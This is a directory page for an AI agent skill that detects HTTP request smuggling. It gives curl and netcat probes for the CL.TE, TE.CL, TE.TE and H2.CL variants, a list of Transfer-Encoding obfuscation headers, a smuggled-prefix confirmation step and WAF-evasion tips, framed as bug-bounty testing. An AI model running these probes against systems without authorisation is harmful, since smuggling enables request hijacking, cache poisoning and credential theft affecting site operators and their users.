SuperAPI AI Directory

web-vuln-http-smuggling

General & other

View repository

Updated 10-16 05:42

About this skill

What this skill does

Detects HTTP request smuggling vulnerabilities by exploiting disagreements between front-end (reverse proxy/CDN) and back-end (application server) parsers over how to determine request boundaries. Tests CL.TE (Content-Length front, Transfer-Encoding back), TE.CL (Transfer-Encoding front, Content-Length back), TE.TE (both use Transfer-Encoding but with obfuscation), and H2.CL (HTTP/2 downgrade to HTTP/1.1) variants using timing-based probes and differential response analysis.

When to use

  • When the target sits behind a reverse proxy, CDN, or load balancer (Nginx, HAProxy, AWS ALB, Cloudflare, Fastly)
  • When testing for WAF bypass, request hijacking, cache poisoning, or credential theft
  • During high-value bug bounty targets with multi-tier HTTP infrastructure
  • When initial recon reveals Via, X-Forwarded-For, or X-Cache response headers indicating a proxy layer

Prerequisites

  • curl compiled with HTTP/1.1 support (standard on Linux/macOS)
  • netcat (nc) for raw TCP requests
  • Burp Suite with HTTP Request Smuggler extension (optional, for automated scanning)
  • A test account on the target for differential response verification

Inputs

Variable Description Example
TARGET_HOST Target hostname example.com
TARGET_PORT Target port 443
TARGET_PATH Path to test (preferably a POST-accepting endpoint) /api/search
AUTH_HEADER Authentication header if required Authorization: Bearer eyJ...

Workflow

Step 1: Identify front-end/back-end architecture

TARGET_HOST="example.com"
TARGET_PORT=443
TARGET_PATH="/api/search"

echo "=== Step 1: Architecture fingerprinting ==="

curl -s -I "https://$TARGET_HOST$TARGET_PATH" | grep -iE "via|x-cache|x-served-by|server|x-forwarded|cdn|cf-ray|x-amz"

echo ""
echo "Indicators of proxy presence:"
echo "  See REFERENCE.md for proxy fingerprinting header-to-vendor mappings"

Reference: See REFERENCE.md for proxy fingerprinting indicators (header-to-vendor mappings).

Step 2: Test CL.TE with timing probe

echo ""
echo "=== Step 2: CL.TE timing probe ==="
echo "Method: Send a request where Content-Length says body is complete,"
echo "        but Transfer-Encoding chunked body is intentionally incomplete."
echo "        If the back-end uses TE, it will wait for the next chunk -> timeout."
echo ""

# CL.TE timing probe: Content-Length = 4 (covers "0\r\n\r\n" which ends TE body)
# but we send an incomplete TE body to make the back-end wait
# Time how long the response takes — >5s strongly suggests CL.TE

START=$(date +%s%N)
curl -s -o /tmp/clte_response.txt \
  --http1.1 \
  --max-time 15 \
  -X POST "https://$TARGET_HOST$TARGET_PATH" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Content-Length: 6" \
  -H "Transfer-Encoding: chunked" \
  --data-binary $'3\r\nabc\r\n' \
  2>&1
END=$(date +%s%N)
ELAPSED=$(( (END - START) / 1000000 ))

echo "CL.TE probe elapsed: ${ELAPSED}ms"
if [ "$ELAPSED" -gt 5000 ]; then
  echo "[POTENTIAL CL.TE] Response took >5s — back-end may be waiting for TE body completion"
else
  echo "[No obvious CL.TE timing signal]"
fi

Step 3: Test TE.CL with timing probe

echo ""
echo "=== Step 3: TE.CL timing probe ==="
echo "Method: Send a valid TE chunked body, but set Content-Length to a value"
echo "        larger than the actual body. If the front-end uses TE and the"
echo "        back-end uses CL, the back-end waits for more data -> timeout."
echo ""

START=$(date +%s%N)
curl -s -o /tmp/tecl_response.txt \
  --http1.1 \
  --max-time 15 \
  -X POST "https://$TARGET_HOST$TARGET_PATH" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Content-Length: 3" \
  -H "Transfer-Encoding: chunked" \
  --data-binary $'0\r\n\r\n' \
  2>&1
END=$(date +%s%N)
ELAPSED=$(( (END - START) / 1000000 ))

echo "TE.CL probe elapsed: ${ELAPSED}ms"
if [ "$ELAPSED" -gt 5000 ]; then
  echo "[POTENTIAL TE.CL] Response took >5s — back-end may be waiting for CL bytes"
else
  echo "[No obvious TE.CL timing signal]"
fi

Step 4: Test TE.TE obfuscation variants

echo ""
echo "=== Step 4: TE.TE obfuscation variants ==="
echo "Both layers support TE, but one can be tricked into ignoring it via obfuscated header."
echo ""

# Common TE obfuscation headers — try each one
te_variants=(
  "Transfer-Encoding: xchunked"
  "Transfer-Encoding: chunked, identity"
  "Transfer-Encoding : chunked"
  "Transfer-Encoding: chunked\r\nTransfer-Encoding: x"
  "X-Transfer-Encoding: chunked"
  "Transfer-Encoding: [chunked]"
  "GET / HTTP/1.1\r\nTransfer-Encoding: chunked"
)

for te_header in "${te_variants[@]}"; do
  echo "Testing: $te_header"
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    --http1.1 --max-time 5 \
    -X POST "https://$TARGET_HOST$TARGET_PATH" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -H "Content-Length: 4" \
    -H "$te_header" \
    --data-binary $'0\r\n\r\n' 2>&1)
  echo "  -> HTTP $STATUS"
done

Step 5: Test H2.CL downgrade variant

echo ""
echo "=== Step 5: H2.CL (HTTP/2 downgrade) ==="
echo "Method: Send HTTP/2 request with a Content-Length header that conflicts"
echo "        with the actual body length. When the proxy downgrades to HTTP/1.1,"
echo "        the injected Content-Length header may be forwarded."
echo ""

# Check if target supports HTTP/2
H2_SUPPORT=$(curl -s -o /dev/null -w "%{http_version}" "https://$TARGET_HOST$TARGET_PATH")
echo "HTTP version used by curl: $H2_SUPPORT"

if [ "$H2_SUPPORT" = "2" ]; then
  echo "[HTTP/2 confirmed] Testing H2.CL downgrade probe"
  # H2.CL: send HTTP/2 with Content-Length set shorter than actual body
  # The proxy may strip pseudo-headers but forward Content-Length to HTTP/1.1 back-end
  START=$(date +%s%N)
  curl -s -o /tmp/h2cl_response.txt --max-time 15 \
    -X POST "https://$TARGET_HOST$TARGET_PATH" \
    -H "content-length: 0" \
    --data-binary "SMUGGLED" 2>&1
  END=$(date +%s%N)
  ELAPSED=$(( (END - START) / 1000000 ))
  echo "H2.CL probe elapsed: ${ELAPSED}ms"
  cat /tmp/h2cl_response.txt
else
  echo "[HTTP/1.1 only] H2.CL variant not applicable — skip"
fi

Step 6: Differential response verification

echo ""
echo "=== Step 6: Differential response (confirm smuggling) ==="
echo "After a timing signal, use differential analysis to confirm:"
echo "  1. Normal request (no smuggling) -> baseline response"
echo "  2. Smuggled prefix poisons the next request's response"
echo ""

# Baseline: normal request
echo "Baseline response:"
curl -s -o /tmp/baseline.txt -w "HTTP %{http_code}" \
  "https://$TARGET_HOST$TARGET_PATH" 2>&1
echo ""
cat /tmp/baseline.txt | head -5

echo ""
echo "[MANUAL] CL.TE differential confirmation steps:"
echo "  1. Send the CL.TE smuggling probe with a partial second request prefix in the body"
echo "     e.g. body after chunk terminator: 'GET /404notfound HTTP/1.1\\r\\nX-Ignore: '"
echo "  2. Immediately send a normal GET request to the same endpoint"
echo "  3. If the second request returns 404 (instead of the normal response),"
echo "     the smuggled prefix was prepended to it — smuggling confirmed"

Step 7: Document impact

echo ""
echo "=== Impact assessment ==="
echo "See REFERENCE.md for impact chains and variant severity mappings"

Reference: See REFERENCE.md for impact assessment — impact chains (request hijacking, WAF bypass, cache poisoning, credential theft) and severity mappings by variant.

Done when

  • Architecture fingerprinting completed (proxy layer identified or ruled out)
  • CL.TE timing probe executed and result recorded
  • TE.CL timing probe executed and result recorded
  • At least 3 TE.TE obfuscation variants tested
  • H2.CL tested if HTTP/2 is detected
  • Any positive timing signals followed up with differential response verification
  • Impact chain documented

Failure modes

Symptom Cause and resolution
All timing probes complete instantly (<1s) Server likely uses HTTP/2 end-to-end (no HTTP/1.1 downgrade) or a single-tier architecture. Check for H2.CL variant instead
Curl rejects duplicate/malformed headers curl normalizes headers. Use netcat for raw request: echo -e "POST / HTTP/1.1\r\nHost: target\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n3\r\nabc\r\n" | nc -q 3 target.com 80
Target always returns 400 for unusual TE values WAF is blocking the probe. Rotate TE obfuscation variants (Step 4) or use Burp HTTP Request Smuggler which handles WAF evasion automatically
Differential verification produces inconsistent results Connection reuse is interfering. Disable keep-alive: add -H "Connection: close" and retry
H2.CL probe shows no anomaly Most modern proxies strip user-supplied content-length in HTTP/2. Check if server is Nginx <1.19 or Apache Traffic Server <9.0 (known vulnerable versions)

Notes

  • HTTP Request Smuggler (Burp Suite BApp Store) by James Kettle automates all variant probes and provides visual differential analysis. Use it after manual timing signals to confirm.
  • Raw netcat requests give the most control but require manual HTTP/1.1 framing. Always end chunks with \r\n and the terminating chunk with 0\r\n\r\n.
  • Smuggling bugs have very low duplicate rates on HackerOne and typically pay $5K–$30K when a full exploitation chain (credential theft or cache poisoning) is demonstrated.
  • Safe testing rule: differential verification should target a 404 path or an endpoint you own. Never send smuggled prefixes that modify other users' requests on live production during testing.
  • Reference: PortSwigger Web Security Academy — HTTP Request Smuggling; James Kettle's research at https://portswigger.net/research/http-desync-attacks.